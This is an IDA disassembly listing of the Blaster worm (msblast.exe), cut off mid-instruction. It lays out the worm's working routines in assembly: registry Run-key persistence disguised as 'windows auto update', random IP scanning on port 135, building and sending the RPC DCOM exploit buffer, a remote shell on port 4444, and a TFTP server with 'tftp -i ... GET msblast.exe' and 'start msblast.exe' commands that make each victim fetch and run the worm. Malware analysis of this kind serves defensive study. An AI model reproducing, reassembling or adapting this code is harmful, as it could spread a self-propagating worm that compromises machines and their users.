; [00000008 BYTES. COLLAPSED STRUCT timeval. PRESS KEYPAD "+" TO EXPAND] ; [00000104 BYTES. COLLAPSED STRUCT fd_set. PRESS KEYPAD "+" TO EXPAND] ; [00000010 BYTES. COLLAPSED STRUCT sockaddr. PRESS KEYPAD "+" TO EXPAND] ; [00000004 BYTES. COLLAPSED STRUCT in_addr::$D372A6A693AD58C7DF6E24FECE06681F::$033CE9DED08D2165C0975678BDBAA031. PRESS KEYPAD "+" TO EXPAND] ; [00000004 BYTES. COLLAPSED STRUCT in_addr::$D372A6A693AD58C7DF6E24FECE06681F::$B5B88EE2C732E3825D6862D85B1080CF. PRESS KEYPAD "+" TO EXPAND] ; [00000004 BYTES. COLLAPSED STRUCT in_addr::$D372A6A693AD58C7DF6E24FECE06681F. PRESS KEYPAD "+" TO EXPAND] ; [00000004 BYTES. COLLAPSED STRUCT in_addr. PRESS KEYPAD "+" TO EXPAND] ; [00000190 BYTES. COLLAPSED STRUCT WSAData. PRESS KEYPAD "+" TO EXPAND] ; ; 浜様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様 ; This file is generated by The Interactive Disassembler (IDA) ; Copyright (c) 2003 by DataRescue sa/nv, ; badpack3t ; 藩様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様 ; ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 ; File Name : C:\msblast.exe ; Format : Portable executable for IBM PC (PE) ; Section 1. (virtual address 00001000) ; Virtual size : 00001458 ( 5208.) ; Section size in file : 00001458 ( 5208.) ; Offset to raw data for section: 00000400 ; Flags 60000020: Text Executable Readable ; Alignment : 16 bytes ? unicode macro page,string,zero irpc c, db '&c', page endm ifnb dw zero endif endm model flat ; 様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様 ; Segment type: Pure code ; Segment permissions: Read/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing loc_401000: ; DATA XREF: sub_401020+Ao xor eax, eax inc eax mov ecx, [esp+4] test dword ptr [ecx+4], 6 jz short locret_40101F mov eax, [esp+8] mov edx, [esp+10h] mov [edx], eax mov eax, 3 locret_40101F: ; CODE XREF: .text:0040100Ej retn ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 sub_401020 proc near ; CODE XREF: .text:0040110Dp ; .text:00401138p var_8 = dword ptr -8 arg_0 = dword ptr 10h arg_4 = dword ptr 14h push ebx push esi push edi mov eax, [esp+arg_0] push eax push 0FFFFFFFEh push offset loc_401000 push large dword ptr fs:0 mov large fs:0, esp loc_40103D: ; CODE XREF: sub_401020+44j ; sub_401020+4Aj mov eax, [esp+10h+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_40106C cmp esi, [esp+10h+arg_4] jz short loc_40106C lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov ecx, [esp+10h+var_8] mov ecx, [eax+0Ch] cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_40103D call dword ptr [ebx+esi*4+8] jmp short loc_40103D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_40106C: ; CODE XREF: sub_401020+2Aj ; sub_401020+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_401020 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_40107A proc near ; CODE XREF: .text:00401100p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_401092 push [ebp+arg_0] call RtlUnwind loc_401092: ; DATA XREF: sub_40107A+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40107A endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_40109A: ; DATA XREF: start+10o cld push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp mov ebx, [ebp+0Ch] mov eax, [ebp+8] mov dword_404030, eax mov dword_404034, ebx test dword ptr [eax+4], 6 jnz short loc_401131 mov [ebp-8], eax mov eax, [ebp+10h] mov [ebp-4], eax mov dword_404034, eax lea eax, [ebp-8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_4010D9: ; CODE XREF: .text:0040112Bj cmp esi, 0FFFFFFFFh jz short loc_401140 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_401122 push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+0Ch] or eax, eax jz short loc_401122 js short loc_40112D mov edi, [ebx+8] push ebx call sub_40107A add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_401020 add esp, 8 lea ecx, [esi+esi*2] mov eax, [edi+ecx*4] mov eax, [ebx+0Ch] call dword ptr [edi+ecx*4+8] loc_401122: ; CODE XREF: .text:004010E6j ; .text:004010F8j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_4010D9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_40112D: ; CODE XREF: .text:004010FAj xor eax, eax jmp short loc_4011A2 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_401131: ; CODE XREF: .text:004010BDj push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_401020 add esp, 0Ch loc_401140: ; CODE XREF: .text:004010DCj push 0 mov dword_404010, 0Bh push 0Bh call signal add esp, 8 or eax, eax jnz short loc_40117B push 0 mov dword_404010, 8 push 8 call signal add esp, 8 or eax, eax jnz short loc_40117B mov eax, 1 jmp short loc_4011A2 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_40117B: ; CODE XREF: .text:00401158j ; .text:00401172j cmp eax, 0FFFFFFFFh jz short loc_4011AA push eax push dword_404010 call signal add esp, 8 push dword_404010 call raise add esp, 4 mov eax, 1 loc_4011A2: ; CODE XREF: .text:0040112Fj ; .text:00401179j ... pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_4011AA: ; CODE XREF: .text:0040117Ej cmp dword_40402C, 0 jnz short loc_4011BA mov eax, 1 jmp short loc_4011A2 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_4011BA: ; CODE XREF: .text:004011B1j mov eax, dword_40402C push 0Bh jmp eax ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 pop eax mov eax, 1 jmp short loc_4011A2 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame public start start proc near var_30 = word ptr -30h var_18 = dword ptr -18h var_4 = dword ptr -4 mov eax, large fs:0 push ebp mov ebp, esp push 0FFFFFFFFh push offset unk_40401C push offset loc_40109A push eax mov large fs:0, esp sub esp, 10h push ebx push esi push edi mov [ebp+var_18], esp push eax fnstcw [esp+30h+var_30] or word ptr [esp], 300h fldcw [esp+30h+var_30] add esp, 4 push 0 push 0 push offset dword_404028 push offset dword_404024 push offset dword_404020 call __GetMainArgs push dword_404028 push dword_404024 push dword_404020 mov dword_404014, esp call sub_402254 add esp, 18h xor ecx, ecx mov [ebp+var_4], ecx push eax call exit leave retn start endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 mov large fs:0, eax retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_401250 proc near ; CODE XREF: sub_402254+5Cp in = in_addr ptr -3ACh var_3A8 = dword ptr -3A8h var_3A4 = dword ptr -3A4h name = byte ptr -3A0h WSAData = WSAData ptr -1A0h var_10 = byte ptr -10h DateStr = byte ptr -0Ch hKey = dword ptr -8 ThreadId = dword ptr -4 push ebp mov ebp, esp sub esp, 3ACh push esi push edi xor esi, esi push 0 ; lpdwDisposition lea eax, [ebp+hKey] push eax ; phkResult push 0 ; lpSecurityAttributes push 0F003Fh ; samDesired push 0 ; dwOptions push 0 ; lpClass push 0 ; Reserved push offset aSoftwareMicros ; lpSubKey push 80000002h ; hKey call RegCreateKeyExA push 32h ; cbData push offset aMsblast_exe ; lpData push 1 ; dwType push 0 ; Reserved push offset aWindowsAutoUpd ; lpValueName push [ebp+hKey] ; hKey call RegSetValueExA push [ebp+hKey] ; hKey call RegCloseKey push offset aBilly ; lpName push 1 ; bInitialOwner push 0 ; lpMutexAttributes call CreateMutexA call GetLastError cmp eax, 0B7h jnz short loc_4012C0 push 0 ; uExitCode call ExitProcess loc_4012C0: ; CODE XREF: sub_401250+67j lea eax, [ebp+WSAData] push eax ; lpWSAData push 202h ; wVersionRequested call WSAStartup or eax, eax jz short loc_401304 lea eax, [ebp+WSAData] push eax ; lpWSAData push 101h ; wVersionRequested call WSAStartup or eax, eax jz short loc_401304 lea eax, [ebp+WSAData] push eax ; lpWSAData push 1 ; wVersionRequested call WSAStartup or eax, eax jz short loc_401304 or eax, 0FFFFFFFFh jmp loc_401570 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_401304: ; CODE XREF: sub_401250+83j ; sub_401250+98j ... push 104h ; nSize push offset Filename ; lpFilename push 0 ; hModule call GetModuleFileNameA loc_401315: ; CODE XREF: sub_401250+DEj push 0 lea eax, [ebp+ThreadId] push eax call InternetGetConnectedState or eax, eax jnz short loc_401330 push 4E20h ; dwMilliseconds call Sleep jmp short loc_401315 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_401330: ; CODE XREF: sub_401250+D2j and ds:dword_40312C, 0 call GetTickCount push eax call srand pop ecx call rand mov ecx, 0FEh cdq idiv ecx mov edi, edx inc edi mov ds:dword_403014, edi call rand mov ecx, 0FEh cdq idiv ecx mov ds:dword_403138, edx push 200h ; namelen lea eax, [ebp+name] push eax ; name call gethostname cmp eax, 0FFFFFFFFh jz loc_401476 lea eax, [ebp+name] push eax ; name call gethostbyname mov [ebp+var_3A4], eax or eax, eax jz loc_401476 mov ecx, [eax+0Ch] cmp dword ptr [ecx], 0 jz loc_401476 push 4 mov eax, [eax+0Ch] push dword ptr [eax] lea eax, [ebp+in] push eax call memcpy push dword ptr [ebp+in.S_un] ; in call inet_ntoa push eax push offset aS ; "%s" lea edi, [ebp+name] push edi call sprintf push (offset aMd_+4) lea eax, [ebp+name] push eax call strtok mov [ebp+var_3A8], eax push eax call atoi mov ds:dword_403128, eax push (offset aMd_+4) push 0 call strtok mov [ebp+var_3A8], eax push eax call atoi mov ds:dword_403010, eax push (offset aMd_+4) push 0 call strtok mov [ebp+var_3A8], eax push eax call atoi add esp, 3Ch mov ds:dword_403130, eax cmp eax, 14h jle short loc_40145F call GetTickCount push eax call srand pop ecx call rand mov ecx, 14h cdq idiv ecx sub ds:dword_403130, edx loc_40145F: ; CODE XREF: sub_401250+1EEj mov eax, ds:dword_403128 mov ds:dword_403014, eax mov eax, ds:dword_403010 mov ds:dword_403138, eax xor esi, esi inc esi loc_401476: ; CODE XREF: sub_401250+130j ; sub_401250+14Aj ... call GetTickCount push eax call srand pop ecx call rand mov ecx, 14h cdq idiv ecx cmp edx, 0Ch jge short loc_401496 xor esi, esi loc_401496: ; CODE XREF: sub_401250+242j mov ds:dword_403134, 1 call rand mov ecx, 0Ah cdq idiv ecx cmp edx, 7 jle short loc_4014BC mov ds:dword_403134, 2 loc_4014BC: ; CODE XREF: sub_401250+260j or esi, esi jnz short loc_4014FC call rand mov ecx, 0FEh cdq idiv ecx mov edi, edx inc edi mov ds:dword_403128, edi call rand mov ecx, 0FEh cdq idiv ecx mov ds:dword_403010, edx call rand mov ecx, 0FEh cdq idiv ecx mov ds:dword_403130, edx loc_4014FC: ; CODE XREF: sub_401250+26Ej push 3 ; cchDate lea eax, [ebp+DateStr] push eax ; lpDateStr push (offset aMd_+2) ; lpFormat push 0 ; lpDate push 0 ; dwFlags push 409h ; Locale call GetDateFormatA push 3 ; cchDate lea eax, [ebp+var_10] push eax ; lpDateStr push offset aMd_ ; lpFormat push 0 ; lpDate push 0 ; dwFlags push 409h ; Locale call GetDateFormatA lea eax, [ebp+DateStr] push eax call atoi pop ecx cmp eax, 0Fh jg short loc_40154C lea edi, [ebp+var_10] push edi call atoi pop ecx cmp eax, 8 jle short loc_401562 loc_40154C: ; CODE XREF: sub_401250+2EBj lea eax, [ebp+ThreadId] push eax ; lpThreadId push 0 ; dwCreationFlags push 0 ; lpParameter push offset StartAddress ; lpStartAddress push 0 ; dwStackSize push 0 ; lpThreadAttributes call CreateThread loc_401562: ; CODE XREF: sub_401250+2FAj ; sub_401250+317j call sub_401777 jmp short loc_401562 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 call WSACleanup xor eax, eax loc_401570: ; CODE XREF: sub_401250+AFj pop edi pop esi leave retn 10h sub_401250 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_401576 proc near ; DATA XREF: sub_401929+39Fo buf = byte ptr -42Ch name = sockaddr ptr -228h to = sockaddr ptr -218h tolen = dword ptr -208h var_204 = word ptr -204h var_202 = word ptr -202h var_200 = byte ptr -200h push ebp mov ebp, esp sub esp, 42Ch push ebx push esi push edi mov dword_404038, 1 loc_40158C: ; CODE XREF: sub_401576+16Fj push 0 ; protocol push 2 ; type push 2 ; af call socket mov ds:s, eax cmp eax, 0FFFFFFFFh jz loc_4016EA push 10h push 0 lea eax, [ebp+name] push eax call memset add esp, 0Ch mov [ebp+name.sa_family], 2 push 45h ; hostshort call htons mov edx, eax mov word ptr [ebp+name.sa_data], dx and dword ptr [ebp+name.sa_data+2], 0 push 10h ; namelen lea eax, [ebp+name] push eax ; name push ds:s ; s call bind or eax, eax jnz loc_4016EA mov [ebp+tolen], 10h lea eax, [ebp+tolen] push eax ; fromlen lea eax, [ebp+to] push eax ; from push 0 ; flags push 204h ; len lea eax, [ebp+buf] push eax ; buf push ds:s ; s call recvfrom cmp eax, 1 jl loc_4016EA xor ebx, ebx push offset aRb ; "rb" push offset Filename call fopen add esp, 8 mov esi, eax or eax, eax jz loc_4016EA loc_40164C: ; CODE XREF: sub_401576+15Dj inc ebx push 3 ; hostshort call htons mov edx, eax mov [ebp+var_204], dx mov eax, ebx and eax, 0FFFFh push eax ; hostshort call htons mov edx, eax mov [ebp+var_202], dx push esi push 200h push 1 lea eax, [ebp+var_200] push eax call fread add esp, 10h mov edi, eax add edi, 4 push [ebp+tolen] ; tolen lea eax, [ebp+to] push eax ; to push 0 ; flags push edi ; len lea eax, [ebp+var_204] push eax ; buf push ds:s ; s call sendto cmp eax, 1 jl short loc_4016D8 push 384h ; dwMilliseconds call Sleep cmp edi, 204h jnb short loc_4016D3 push esi call fclose pop ecx xor esi, esi jmp short loc_4016D8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_4016D3: ; CODE XREF: sub_401576+150j jmp loc_40164C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_4016D8: ; CODE XREF: sub_401576+13Ej ; sub_401576+15Bj or esi, esi jz short loc_4016EA push esi call fclose pop ecx jmp short loc_4016EA ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 jmp loc_40158C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_4016EA: ; CODE XREF: sub_401576+29j ; sub_401576+78j ... and dword_404038, 0 push ds:s ; s call closesocket push 0 ; dwExitCode call ExitThread xor eax, eax pop edi pop esi pop ebx leave retn 4 sub_401576 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 sub_40170C proc near ; CODE XREF: sub_40170C+68j ; sub_401777+6Fp cmp ds:dword_40312C, 0FEh jle short loc_401727 and ds:dword_40312C, 0 inc ds:dword_403130 jmp short loc_40172F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_401727: ; CODE XREF: sub_40170C+Aj inc ds:dword_40312C jmp short locret_401776 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_40172F: ; CODE XREF: sub_40170C+19j cmp ds:dword_403130, 0FEh jle short locret_401776 and ds:dword_403130, 0 inc ds:dword_403010 cmp ds:dword_403010, 0FEh jle short locret_401776 and ds:dword_403010, 0 inc ds:dword_403128 cmp ds:dword_403128, 0FEh jle short loc_401774 and ds:dword_403128, 0 loc_401774: ; CODE XREF: sub_40170C+5Fj jmp short sub_40170C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 locret_401776: ; CODE XREF: sub_40170C+21j ; sub_40170C+2Dj ... retn sub_40170C endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_401777 proc near ; CODE XREF: sub_401250+312p var_18C = dword ptr -18Ch writefds = fd_set ptr -188h var_84 = byte ptr -84h in = in_addr ptr -80h namelen = dword ptr -74h argp = dword ptr -70h name = sockaddr ptr -6Ch timeout = timeval ptr -5Ch var_54 = dword ptr -54h s = dword ptr -50h push ebp mov ebp, esp sub esp, 18Ch push ebx push esi push edi mov [ebp+argp], 1 push 10h push 0 lea eax, [ebp+name] push eax call memset add esp, 0Ch mov [ebp+name.sa_family], 2 push 87h ; hostshort call htons mov esi, eax mov word ptr [ebp+name.sa_data], si xor edi, edi loc_4017B2: ; CODE XREF: sub_401777+6Bj push 0 ; protocol push 1 ; type push 2 ; af call socket mov [ebp+edi*4+s], eax cmp [ebp+edi*4+s], 0FFFFFFFFh jz loc_401924 lea eax, [ebp+argp] push eax ; argp push 8004667Eh ; cmd push [ebp+edi*4+s] ; s call ioctlsocket inc edi cmp edi, 14h jl short loc_4017B2 xor edi, edi loc_4017E6: ; CODE XREF: sub_401777+CDj call sub_40170C push ds:dword_40312C push ds:dword_403130 push ds:dword_403010 push ds:dword_403128 push offset aI_I_I_I ; "%i.%i.%i.%i" push offset cp call sprintf add esp, 18h push offset cp ; cp call inet_addr mov [ebp+var_54], eax cmp eax, 0FFFFFFFFh jz loc_401924 mov eax, [ebp+var_54] mov dword ptr [ebp+name.sa_data+2], eax push 10h ; namelen lea eax, [ebp+name] push eax ; name push [ebp+edi*4+s] ; s call connect inc edi cmp edi, 14h jl short loc_4017E6 push 708h ; dwMilliseconds call Sleep xor edi, edi loc_401852: ; CODE XREF: sub_401777+1A7j and [ebp+timeout.tv_sec], 0 and [ebp+timeout.tv_usec], 0 and [ebp+writefds.fd_count], 0 and [ebp+var_18C], 0 jmp short loc_401883 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_40186A: ; CODE XREF: sub_401777+118j mov esi, [ebp+var_18C] mov ebx, [ebp+edi*4+s] cmp [ebp+esi*4+writefds.fd_array], ebx jz short loc_401891 inc [ebp+var_18C] loc_401883: ; CODE XREF: sub_401777+F1j mov eax, [ebp+writefds.fd_count] cmp [ebp+var_18C], eax jb short loc_40186A loc_401891: ; CODE XREF: sub_401777+104j mov eax, [ebp+writefds.fd_count] cmp [ebp+var_18C], eax jnz short loc_4018BB cmp eax, 40h jnb short loc_4018BB mov esi, [ebp+var_18C] mov ebx, [ebp+edi*4+s] mov [ebp+esi*4+writefds.fd_array], ebx inc [ebp+writefds.fd_count] loc_4018BB: ; CODE XREF: sub_401777+126j ; sub_401777+12Bj lea eax, [ebp+timeout] push eax ; timeout push 0 ; exceptfds lea eax, [ebp+writefds] push eax ; writefds push 0 ; readfds push 0 ; nfds call select cmp eax, 1 jge short loc_4018E1 push [ebp+edi*4+s] ; s call closesocket jmp short loc_40191A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_4018E1: ; CODE XREF: sub_401777+15Dj mov [ebp+namelen], 10h lea eax, [ebp+namelen] push eax ; namelen lea eax, [ebp+var_84] push eax ; name push [ebp+edi*4+s] ; s call getpeername push dword ptr [ebp+in.S_un] ; in call inet_ntoa push eax ; cp push [ebp+edi*4+s] ; s call sub_401929 add esp, 8 push [ebp+edi*4+s] ; s call closesocket loc_40191A: ; CODE XREF: sub_401777+168j inc edi cmp edi, 14h jl loc_401852 loc_401924: ; CODE XREF: sub_401777+4Fj ; sub_401777+AEj pop edi pop esi pop ebx leave retn sub_401777 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame ; int __cdecl sub_401929(SOCKET s,char *cp) sub_401929 proc near ; CODE XREF: sub_401777+192p ThreadId = dword ptr -1934h var_1930 = dword ptr -1930h namelen = dword ptr -192Ch var_1928 = byte ptr -1928h var_18F8 = byte ptr -18F8h var_18BC = byte ptr -18BCh buf = byte ptr -155Ch var_1514 = dword ptr -1514h argp = dword ptr -1510h var_150C = byte ptr -150Ch var_14E8 = byte ptr -14E8h hObject = dword ptr -1240h var_123C = dword ptr -123Ch name = sockaddr ptr -1238h var_1228 = byte ptr -1228h var_1224 = byte ptr -1224h var_1223 = byte ptr -1223h var_1222 = byte ptr -1222h var_1221 = byte ptr -1221h var_1218 = dword ptr -1218h var_1210 = dword ptr -1210h var_1208 = dword ptr -1208h var_1204 = byte ptr -1204h len = dword ptr -1004h var_1000 = byte ptr -1000h var_FF8 = dword ptr -0FF8h var_FF0 = dword ptr -0FF0h var_F80 = dword ptr -0F80h var_F7C = dword ptr -0F7Ch var_F4C = dword ptr -0F4Ch var_F48 = dword ptr -0F48h var_F30 = dword ptr -0F30h var_E74 = dword ptr -0E74h s = dword ptr 8 cp = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2934h call sub_4022B8 push ebx push esi push edi and [ebp+argp], 0 lea eax, [ebp+argp] push eax ; argp push 8004667Eh ; cmd push [ebp+s] ; s call ioctlsocket cmp ds:dword_403134, 1 jnz short loc_401969 mov [ebp+var_1514], 100139Dh jmp short loc_401973 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_401969: ; CODE XREF: sub_401929+32j mov [ebp+var_1514], 18759Fh loc_401973: ; CODE XREF: sub_401929+3Ej lea edi, [ebp+buf] lea esi, ds:4040C0h mov ecx, 12h rep movsd lea edi, [ebp+var_18BC] lea esi, ds:404108h mov ecx, 0D8h rep movsd lea edi, [ebp+var_1218] lea esi, ds:404468h mov ecx, 4 rep movsd lea edi, [ebp+var_18F8] lea esi, ds:404478h mov ecx, 0Fh rep movsd lea edi, [ebp+var_150C] lea esi, ds:4044B4h mov ecx, 0B3h rep movsd lea edi, [ebp+var_1928] lea esi, ds:404780h mov ecx, 0Ch rep movsd push 4 lea eax, [ebp+var_1514] push eax lea eax, [ebp+var_14E8] push eax call memcpy mov [ebp+var_1930], 2CCh push 360h lea eax, [ebp+var_18BC] push eax lea eax, [ebp+var_1000] push eax call memcpy mov [ebp+len], 360h add [ebp+var_1218], 166h mov eax, [ebp+var_1210] add eax, 166h mov [ebp+var_1210], eax push 10h lea eax, [ebp+var_1218] push eax lea eax, [ebp+var_1000] add eax, 360h push eax call memcpy mov [ebp+len], 370h push 2CCh lea eax, [ebp+var_150C] push eax lea eax, [ebp+var_1000] add eax, 370h push eax call memcpy mov [ebp+len], 63Ch push 3Ch lea eax, [ebp+var_18F8] push eax lea eax, [ebp+var_1000] add eax, 63Ch push eax call memcpy mov [ebp+len], 678h push 30h lea eax, [ebp+var_1928] push eax lea eax, [ebp+var_1000] add eax, 678h push eax call memcpy add esp, 48h mov [ebp+len], 6A8h mov eax, [ebp+var_FF8] add eax, 2C0h mov [ebp+var_FF8], eax mov eax, [ebp+var_FF0] add eax, 2C0h mov [ebp+var_FF0], eax mov eax, [ebp+var_F80] add eax, 2C0h mov [ebp+var_F80], eax mov eax, [ebp+var_F7C] add eax, 2C0h mov [ebp+var_F7C], eax mov eax, [ebp+var_F4C] add eax, 2C0h mov [ebp+var_F4C], eax mov eax, [ebp+var_F48] add eax, 2C0h mov [ebp+var_F48], eax mov eax, [ebp+var_F30] add eax, 2C0h mov [ebp+var_F30], eax mov eax, [ebp+var_E74] add eax, 2C0h mov [ebp+var_E74], eax push 0 ; flags push 48h ; len lea eax, [ebp+buf] push eax ; buf push [ebp+s] ; s call send cmp eax, 0FFFFFFFFh jz loc_401E3B push 0 ; flags push [ebp+len] ; len lea eax, [ebp+var_1000] push eax ; buf push [ebp+s] ; s call send cmp eax, 0FFFFFFFFh jz loc_401E3B push [ebp+s] ; s call closesocket push 190h ; dwMilliseconds call Sleep push 0 ; protocol push 1 ; type push 2 ; af call socket mov [ebp+var_1208], eax cmp eax, 0FFFFFFFFh jz loc_401E3B push 10h push 0 lea eax, [ebp+name] push eax call memset add esp, 0Ch mov [ebp+name.sa_family], 2 push 115Ch ; hostshort call htons mov edi, eax mov word ptr [ebp+name.sa_data], di push [ebp+cp] ; cp call inet_addr mov [ebp+var_123C], eax cmp eax, 0FFFFFFFFh jz loc_401E3B mov eax, [ebp+var_123C] mov dword ptr [ebp+name.sa_data+2], eax push 10h ; namelen lea eax, [ebp+name] push eax ; name push [ebp+var_1208] ; s call connect cmp eax, 0FFFFFFFFh jz loc_401E3B push 10h push 0 push offset cp call memset mov [ebp+namelen], 10h push 10h push 0 lea eax, [ebp+var_1228] push eax call memset lea eax, [ebp+namelen] push eax ; namelen lea eax, [ebp+var_1228] push eax ; name push [ebp+var_1208] ; s call getsockname movzx eax, [ebp+var_1221] push eax movzx eax, [ebp+var_1222] push eax movzx eax, [ebp+var_1223] push eax movzx eax, [ebp+var_1224] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push offset cp call sprintf add esp, 30h cmp ds:s, 0 jz short loc_401CBD push ds:s ; s call closesocket loc_401CBD: ; CODE XREF: sub_401929+387j lea eax, [ebp+ThreadId] push eax ; lpThreadId push 0 ; dwCreationFlags push 0 ; lpParameter push offset sub_401576 ; lpStartAddress push 0 ; dwStackSize push 0 ; lpThreadAttributes call CreateThread mov [ebp+hObject], eax push 50h ; dwMilliseconds call Sleep push offset aMsblast_exe ; "msblast.exe" push offset cp push offset aTftpISGetS ; "tftp -i %s GET %s\n" lea eax, [ebp+var_1204] push eax call sprintf add esp, 10h lea ecx, [ebp+var_1204] or eax, 0FFFFFFFFh loc_401D0A: ; CODE XREF: sub_401929+3E6j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_401D0A push 0 ; flags push eax ; len lea eax, [ebp+var_1204] push eax ; buf push [ebp+var_1208] ; s call send cmp eax, 1 jl loc_401DEB push 3E8h ; dwMilliseconds call Sleep xor ebx, ebx jmp short loc_401D48 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_401D3D: ; CODE XREF: sub_401929+42Bj push 7D0h ; dwMilliseconds call Sleep inc ebx loc_401D48: ; CODE XREF: sub_401929+412j cmp ebx, 0Ah jge short loc_401D56 cmp dword_404038, 0 jnz short loc_401D3D loc_401D56: ; CODE XREF: sub_401929+422j push offset aMsblast_exe ; "msblast.exe" push offset aStartS ; "start %s\n" lea eax, [ebp+var_1204] push eax call sprintf add esp, 0Ch lea ecx, [ebp+var_1204] or eax, 